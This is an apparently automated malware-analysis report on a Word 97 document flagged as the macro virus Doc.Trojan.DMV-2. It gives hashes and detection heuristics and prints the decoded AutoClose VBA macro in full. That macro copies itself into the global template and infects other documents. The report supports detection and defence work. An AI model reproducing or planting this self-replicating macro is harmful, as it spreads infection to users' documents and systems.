Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 59a8c200f0509a73…

MALICIOUS

Office (OLE)

28.5 KB Created: 1998-01-01 00:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e12815094c02ce696ad2c2ea06e5fdd1 SHA-1: ad492cda7c01b818f6bb07fe28f6c7fe1b1a078f SHA-256: 59a8c200f0509a73133678b5a7ec0c400a7f0b1d726b6c4c5cd1603652f9ba7f
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV and contains a VBA macro. The AutoClose macro is designed to copy itself to the global template and potentially execute further malicious actions. The presence of the AutoClose macro and the VBA macros strongly suggests a malicious document intended for distribution via spearphishing.

Heuristics 4

  • ClamAV: Doc.Trojan.DMV-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.DMV-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1058 bytes
SHA-256: df649e2c1d3b44c03dd4e26d24db769ea925066d860d76c50bf4ad74578d721a
Detection
ClamAV: Doc.Trojan.DMV-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
Dim title$
Dim total
Dim present
Dim cycle
Dim a$
title$ = "MWSC Class Of '96"
total = WordBasic.CountMacros(0)
present = 0

If total > 0 Then
    For cycle = 1 To total
        If WordBasic.[MacroName$](cycle, 0) = "AutoClose" Then
            present = 1
        End If
'End If

a$ = WordBasic.[WindowName$]() + ":AutoClose"

If present <> 1 Then
    WordBasic.MacroCopy a$, "Global:AutoClose"
Else
    present = 0
    If WordBasic.CountMacros(1) <> 0 Then
        present = 1
    End If

    If present = 0 Then
        WordBasic.FileSaveAs Format:=1
        WordBasic.MacroCopy "Global:AutoClose", a$
    End If
End If

WordBasic.FileSave

Next
End If
End Sub

Attribute VB_Name = "NewMacros"